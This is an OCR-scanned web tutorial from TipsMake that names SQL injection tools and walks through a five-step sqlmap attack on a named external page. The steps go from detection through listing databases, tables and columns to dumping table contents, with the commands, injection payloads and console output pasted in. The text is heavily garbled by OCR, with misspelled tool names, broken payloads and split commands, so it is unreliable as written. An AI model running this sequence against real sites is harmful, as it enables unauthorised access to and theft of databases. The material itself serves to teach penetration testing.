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Web6: SQL Injection - Some Exploit Tools

In this section, the Network Administrator will introduce to you some tools (tools) used to exploit SQL Injection.

There are many security scanning tools available today (including SQL injection). These tools allow the
detection and exploitation of SQL injection vulnerabilities quite powerfully. Some commonly used automated
SQL injection exploit tools include:

1. Sglmap

2. The Mole (Digging up your data)

3. Havij
There are also some other tools that you can refer to such as. Netsparker, jSQL Injection, Burp, BBQSQL.
Below | am ademo of using Sglmap to exploit basic SQL injection.

Y ou download Sglmap at here.

Sglmap is written in Python language, so to use thistool you need to install Python. Y ou can download python at
http://www.python.org/downl oads/

First you have to define the target website, here | have the following goal:
http://zerocool hf.atervista.org/level 1.php?id=1 (this page is now dead).

Step 1 : Open cmd and type the following command:

pyt hon sqgl map. py —u 'http://zerocool hf.altervista.org/level 1. php?i d=1"
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B C:\Windows\system32\omd.exe | o 0 e S

c:ssglmap>python sglmap.py —u "http:/szerocoolhf.altervista.orgslevell .php?id=1"

sqlmaps1l.@-dev — automatic S5QL injection and database takeover tool
http://sqlmap.ory

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent iz illegal. It is the end user’s responsibility to obey all applicable
local, state and federal laws. Developers assume no liabhility and are not respon

zible for any misuse or damage caused by this program

[*] starting at B9:23:43

lzglmap identified the following injection points with a total of @ HITP(s> reque

Type: boolean—based blind
Title: AND hoolean—hased hlind - WHERE or HAUING clause
Payload: id=1' AND 4318=4318 AND ‘Lehc’=’'Lehc

Type: error—bhased

Title: HySQL >= 5.8 AND error—hased — WHERE or HAUING clause

Payload: id=1' AND (SELECT 5582 FROM(SELECT COUNT (=), CONCAT{Bx717465 1. ¢SE
LECT (CRSE WHEN (55@2=55@%> THEN 1 ELSE @ END>}, Bx716d637671 FLOORCRAND (B %250
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x>a) AND ’UFca’=’UFca

web application technology: Apache
hack-end DBMS: MySQL 5.8
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sglmap will detect the target's vulnerability and give information about the vulnerability.

Step 2 : Once it has been determined that the target website has an SQL injection vulnerability, we proceed to

find the database name.

pyt hon sql map. py

http://zerocool hf.altervista.org/l evel 1. php?i d=1'

BN C\Windows\system32icmd exe -
ssglmaprpython sglmap.py —u "http://zerocoolhf:alteruiéta.org/leueli.php?id=1"
hs

sglmaps1l.8—dev — automatic 8QL injection and database takeover tool
http:rs/sglmap.ory

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsibility to ohey all applicable
local. state and federal laws. Developers assume no liability and are not respon

zible for any misuse or damage caused by this program

[#*] starting at B89:33:48

mglmap identified the following injection points with a total of B HITP(s)> regue

sts s

Place: GET

Parameter: id
Type: boolean—based bhlind
Title: AND boolean—hased hlind — WHERE or HAUING clause
Payload: id=1' AND 4316=4318 AND ’Lehc’="Lehc

Type: error-hased

Title: MySQL >= 5.8 AND error—based — WUHERE or HAVING clause

Payload: id=1' AND (SELECT 5589 FROM{SELECT COUNT (=>.CONCAT(Bx7174657871 . (SE
LECT (CRSE WHEN <5589=5589> THEN 1 ELSE B END)>. Bx716d637671 FLOORCRANDCE) %2 )5
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x>a> AND 'UFca’='UFca

web application technology: Apache
hack—end DBMS: MySQL 5.8

available databases [21:
[#] information_schema
[#*] my_zerocoolhf
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=> Database: my_zerocool hf

Step 3 : After determining the database name, we will find the names of the tables in the database.

- -dbs



pyt hon sqgl map. py —u 'http://zerocool hf.altervista.org/level 1. php?i d=1'" --tables -

B C\Windows\system32omd.exe =

c:ssglmaprpython sglmap.py —u “http: szerocoolhf.altervista.orgslevell . php?id=1"
——tahbles -D my_zerocoolhf

sqlmaps1l.8—dev — automatic S3QL injection and database takeover tool
http:/ssglmap.ory

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsibility to obey all applicable
local. state and federal laws. Developers assume no liability and are not respon

zible for any miszuse or damage caused by this program

[*] starting at B9:39:47

zglmap identified the following injection points with a total of B HTTP(s)> reque

Place: GET

Parameter: id
Type: boolean—based bhlind
Title: AND boolean-hased hlind - WHERE or HAUING clause
Payload: id=1' AND 4318=4318 AND °Lehc!='Lehc

Type: error-hased

Title: MySQL >= 5.8 AND error—based — WHERE or HAUING clause

Payload: id=1' AND (SELECT 55@% FROM(SELECT COUNT{=)>.CONCAT (Bx7174657871.(SE
LECT (CASE WHEN (55@%9=55@%> THEN 1 ELSE B END)).Bx716d637671.FLOORCRANDCBY»2 5 )x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUF BY x>a> AND *UFca’='UFca

web application technology: Apache
hack—-end DBMS: MuySQL 5.8

Database: my_zerocoolhf
[2 tables]

auth
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=> There are 2 tables in the database: auth and book

Step 4 : Identify the column namesin the table

pyt hon sqgl map. py —u 'http://zerocool hf.altervista.org/level 1. php?i d=1' --col ums



B Cing ows\system3siomd.exe - b

c:nsglmaprpython sglmap.py —u "http:/szerocoolhf.altervista.orgslevell.php?i
——columns —-D my_zerocoolhf -T hook

sglmaps/1l .B—dev — automatic 8QL injection and database takeover tool
http:r/7sglmap.org

[*]1 legal disclaimeyr: Usage of sglmap for attacking targets without prior mu
consent is illegal. It is the end user’s responsibility to obey all applica
local, state and federal laws. Developers assume no liability and are not re
izible for any misuse or damage caused by this program

[#*] starting at B89:43:21

isglmap identified the following injection points with a total of @ HITP(s)> »

Place: GET

Parameter: id
Type: boolean—based hlind
Title: AND hoolean—hased blind — WHERE or HAUING clause
Payload: id=1' AND 4318=4318 AND ’Lehc’='Lehc

Type: error—-haszed

Title: MySQL »>= 5.8 AND error—based — WHERE or HAUING clause

Payload:= id=1'’ AND (SELECT 5589 FROM(SELECT COUNT<{2>,CONCAT(@x?71?74657871
LECT (GASE WHEN <5589=558%> THEN 1 FLSE B8 END>>_ 8x716d637671.FLOORCRANDCB>=2
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x>ad AND ’UFca’='UFca

webh application technology: Apache
hack—end DBMS: HMySqQL 5.8

Database: my_zerocoolhf
Table: hook

text
int{11>
int{11>
varchar(255)

+
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=> |dentify the columnsin the book table: author, id, price, title.

Step 5 : Dump data from the table.

pyt hon sqgl map. py —u 'http://zerocool hf.altervista.org/level 1. php?i d=1' --dunp -D



[*] legal disclaimer: Usage of sglmap for attacking targets without prior mu
consent is illegal. It is the end user’s ponsibility to obey all applica
local,. state and federal laws. Developers me no liabhility and are not re
izible for any misuse or damage caused by this

[+*] starting at B?:51:14

lzglmap identified the following injection points with a total of B HTTP<Cs) »

st

: boolean—hased blind
Title: AND hoolean—hased blind — WHERE or HAUING clause
Payload: id=1' AMD 4318-4318 AND ’‘Lehc’='Lehc

Type: error—hased

Title: MySQL >= 5.8 AND error—based — WHERE or HAUING clause

Payload: id=1' AND (SELECT 55682 FROM(SELECT COUNT (x>, CONCAT(Bx7174657871
LECT (CASE UHEN <(550%9=5508%> THEN 1 ELSE B END>)>.Bx716d637671.FLOORCRANDCA) =2
(FROM IMFORMATIOM_SCHEMA.CHARACTER_SETS GROUP BY x>a) AND ‘UFca’='UFca

geb application technology: Apache
ack-end DBHS: MySQL 5.6

Databaze: my_zerocoolhf
Table: book
[4 entries]

<blank>
<hlank>
<blank>
<blank>

————————— +

Advance WAF evasion by zerocool & HR
Error Bazed injection by zerocool & HR
<{blank3
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=> Thus, we have obtained the database of the target website.

Above is abasic demo of using sglmap to exploit SQL injection errors, you can learn more options of sglmap
here to support SQL injection exploitation.

Y ou finished reading the article "Web6: SQL Injection - Some Exploit Tools" edited by the TipsM ake team.
We hope this article has provided you with many useful tech tips and tricks. Y ou can search for similar articles
on tips and guides. Thank you for reading and for following us regularly.
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